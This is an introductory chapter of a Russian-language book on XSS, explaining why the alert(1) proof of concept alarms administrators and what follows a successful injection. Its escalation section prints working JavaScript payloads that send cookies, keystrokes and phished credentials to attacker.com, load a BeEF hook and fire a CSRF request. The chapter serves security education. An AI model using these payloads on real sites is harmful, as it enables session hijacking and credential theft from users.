Книга: «Все об уязвимости XSS». Глава 1: Введение — Добро пожаловать в мир XSS 🎯. Почему каждый админ боится слова `<script>alert(1)</script>`

Если ты когда-нибудь сидел в переговорке с админом или security-инженером и небрежно бросил фразу “я нашёл XSS, вот пруф: `&lt;script&gt;alert(1)&lt;/script&gt;`”, то видел, как у человека меняется выражение лица. Это смесь паники, отрицания и внутреннего крика “опять этот пиздец”. Давай разберёмся, почему этот безобидный на первый взгляд payload вызывает такую реакцию и почему он стал символом целого класса уязвимостей.

Alert(1) — это не баг, это приговор

На первый взгляд `alert(1)` не делает ничего страшного. Показывает всплывающее окно с цифрой 1. Никакие данные не украдены, никакая сессия не захвачена, никакой малварь не загружен. Но для админа это окно — это не просто popup. Это доказательство того, что:

Arbitrary Code Execution достижим. Если сработал `alert(1)`, значит, можно выполнить любой JavaScript. А любой JavaScript в контексте сайта = полный контроль над тем, что видит и делает пользователь на этой странице.

Защиты не работают. Все эти WAF’ы, фильтры, валидация, санитизация — всё обошли. Если payload дошёл до браузера и выполнился, значит, защита на уровне приложения провалилась.

Проблема глубже, чем кажется. XSS редко бывает изолированной проблемой. Если есть одна точка входа, вероятно, есть и другие. Если разработчики не экранировали ввод здесь, где ещё они это забыли?

Compliance под угрозой. Для компаний, которые должны соответствовать PCI DSS, GDPR, HIPAA и другим стандартам, XSS — это критическая уязвимость, которая может привести к провалу аудита, штрафам и репутационным потерям.

От alert до полного pwn’а: что может пойти не так

Давай представим, что злоумышленник не остановился на `alert(1)`. Вот что может произойти дальше:

Кража cookie и session hijacking. Самый классический сценарий. Payload меняется на:

<script>
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>

Теперь у атакующего есть session token. Он открывает браузер, вставляет украденный cookie через DevTools, обновляет страницу — и он уже залогинен под жертвой. Привет, личные данные, банковские счета, корпоративная почта.

Если в cookie нет флага `HTTPOnly` (а его часто нет, потому что разработчики забывают или не знают), то cookie утекает моментально. Админ это понимает и начинает потеть, потому что ему придётся проверять все места, где устанавливаются cookie, и добавлять флаги. А это может сломать функциональность.

Keylogging. Следующий уровень — перехват всех нажатий клавиш:

<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/log?key=' + e.key);
});
</script>

Пользователь вводит пароль, номер карты, конфиденциальную информацию — всё летит на сервер атакующего. И жертва даже не подозревает. Для админа это означает, что любой пользователь, который посетил заражённую страницу, потенциально скомпрометирован.

Фишинг на доверенном домене. Самое коварное. Payload подменяет форму логина прямо на странице:

<script>
document.body.innerHTML = `
<div style="max-width:400px;margin:100px auto;text-align:center;">
<h2>Сессия истекла</h2>
<p>Пожалуйста, войдите снова</p>
<form id="phish">
<input name="user" placeholder="Email"><br>
<input type="password" name="pass" placeholder="Пароль"><br>
<button>Войти</button>
</form>
</div>
`;
document.getElementById('phish').onsubmit = function(e) {
e.preventDefault();
fetch('https://attacker.com/creds', {
method: 'POST',
body: new FormData(this)
});
alert('Неверные учётные данные');
};
</script>

Пользователь видит знакомый домен в адресной строке, видит сообщение о истёкшей сессии (что логично после долгой работы), вводит свои данные — и всё, game over. Учётки утекли. Админ понимает, что теперь нужно сбрасывать пароли всем пользователям, которые могли быть затронуты. А это пиар-катастрофа.

BeEF и превращение браузера в зомби. Browser Exploitation Framework — это инструмент, который превращает XSS в полноценный канал управления. Payload выглядит просто:

<script src="https://attacker.com/beef/hook.js"></script>

Но как только этот скрипт загружается, браузер жертвы становится частью ботнета. Атакующий через веб-интерфейс BeEF может:

• Делать скриншоты страниц

• Красть данные форм

• Сканировать внутреннюю сеть жертвы (если она в корпоративной VPN)

• Запускать эксплойты браузера

• Использовать браузер как прокси для атак на другие системы

Для админа это кошмар, потому что компрометация одного пользователя может привести к проникновению во внутреннюю сеть компании.

CSRF через XSS. XSS может быть использован для автоматического выполнения действий от имени жертвы:

<script>
fetch('/admin/delete-user?id=123', {
method: 'POST',
credentials: 'include'
});
</script>

Если жертва — админ, и у неё есть активная сессия, то этот запрос выполнится с её правами. Можно удалить пользователей, изменить настройки, добавить нового админа с известными атакующему учётными данными.

Почему это невозможно отловить постфактум

Админы боятся XSS ещё и потому, что последствия атаки сложно оценить:

Нет логов. В отличие от SQL injection, где можно посмотреть логи базы данных, или от брутфорса, где видны попытки входа, XSS происходит на стороне клиента. JavaScript выполняется в браузере жертвы, и сервер ничего не знает об этом. Украли cookie? Сервер видит только нормальный запрос с валидным session token.

Невозможно определить масштаб. Если это Stored XSS, сколько пользователей увидели заражённую страницу? Сколько из них были скомпрометированы? Нужно копаться в логах доступа, коррелировать с временем, когда payload был активен, гадать, кто из пользователей мог кликнуть не туда.

Нет способа отозвать украденные данные. Если password database утёк, можно поменять пароли. Если API key скомпрометирован, можно его отозвать. Но если через XSS украли личные сообщения, документы, фотографии — это всё. Данные у атакующего, и вернуть их невозможно.

Репутационные и финансовые последствия

Для админа XSS — это не просто техническая проблема. Это потенциальная катастрофа на нескольких уровнях:

Репутация компании. Если XSS найден исследователем и попал в публичный disclosure, это новость. “Популярный сервис уязвим к краже данных пользователей” — отличный заголовок для IT-медиа. Пользователи начинают уходить, акции падают.

Штрафы регуляторов. GDPR предусматривает штрафы до 4% от глобального годового оборота компании за несоблюдение мер безопасности. Если XSS привёл к утечке персональных данных, это прямое нарушение. Для крупной компании это могут быть миллионы евро.

Судебные иски. Если пользователи понесли финансовые потери из-за взлома через XSS, они могут подать в суд. Class action lawsuit против компании — это годы судебных разбирательств и огромные выплаты.

Потеря доверия партнёров. B2B-компании могут потерять контракты. Если ты предоставляешь SaaS-решение для бизнеса, и у тебя нашли XSS, корпоративные клиенты начнут уходить к конкурентам. Контракты на миллионы долларов могут быть разорваны.

Alert(1) — это proof of concept, а не конец

Когда исследователь безопасности находит XSS и отправляет `alert(1)` как доказательство, он делает одолжение. Он мог бы эксплуатировать уязвимость, красть данные, продавать доступ. Но вместо этого он говорит: “Вот проблема, исправьте её”.

Но админ понимает: если этот человек нашёл уязвимость за час тестирования, сколько других есть? И сколько из них уже эксплуатируются киберпреступниками, которые не будут присылать friendly alert?

`Alert(1)` — это как индикаторная лампочка “check engine” в машине. Она не говорит, что именно сломалось, но говорит, что проблема есть и она серьёзная. И игнорировать её — значит рисковать полным отказом системы.

Каскадный эффект: одна уязвимость — десять проблем

XSS редко существует в вакууме. Если нашли одну уязвимость, это индикатор системных проблем в процессе разработки:

Нет code review. Если такой очевидный баг прошёл в продакшн, значит, код не проверяется должным образом.

Нет автоматического тестирования безопасности. SAST и DAST инструменты должны были это отловить на этапе CI/CD.

Разработчики не обучены. Если они не знают про output encoding и input validation, что ещё они не знают? SQL injection? SSRF? Insecure deserialization?

Легаси-код полон дыр. Если нашли XSS в новой функциональности, что творится в коде, написанном 5-10 лет назад?

Админ понимает, что впереди недели работы: аудит кода, обучение команды, внедрение инструментов, рефакторинг критичных частей приложения. И всё это при работающем продакте, который нельзя просто остановить.

Почему alert(1) стал мемом и символом

В комьюнити информационной безопасности `alert(1)` стал культурным феноменом. Существуют челленджи типа “alert(1) to win”, где нужно найти способ выполнить именно этот payload в максимально защищённой среде.

Это не просто показать popup. Это доказать, что ты можешь выполнить arbitrary code. Цифра 1 выбрана не случайно — она короткая, простая, универсальная. Можно было бы использовать `alert('XSS')` или `alert(document.domain)`, но `alert(1)` стал стандартом де-факто.

Для админа это триггер. Увидел `alert(1)` в bug report — значит, будет долгий день. Нужно:

1. Подтвердить уязвимость

2. Оценить scope (где ещё может быть проблема)

3. Разработать патч

4. Протестировать, что патч не ломает функциональность

5. Задеплоить в продакшн

6. Проверить, что исправление работает

7. Уведомить stakeholders

8. Если это публичный disclosure — готовить statement для пользователей

И всё это — из-за одной строчки кода, которую забыли экранировать.

Заключение: уважение к alert(1)

`<script>alert(1)</script>` — это не просто payload. Это символ уязвимости, которая никогда не умирает. Это напоминание о том, что веб-безопасность — это постоянная борьба, а не одноразовая задача.

Админы боятся его не потому, что это сложная атака. Наоборот — потому что это простая атака, которая открывает дверь к сложным последствиям. Это proof того, что где-то в цепочке разработки что-то пошло не так.

Так что в следующий раз, когда найдёшь XSS и отправишь `alert(1)`, помни: для кого-то это будет началом очень напряжённой недели. И именно поэтому каждый админ боится этих 28 символов.

98 views·4 shares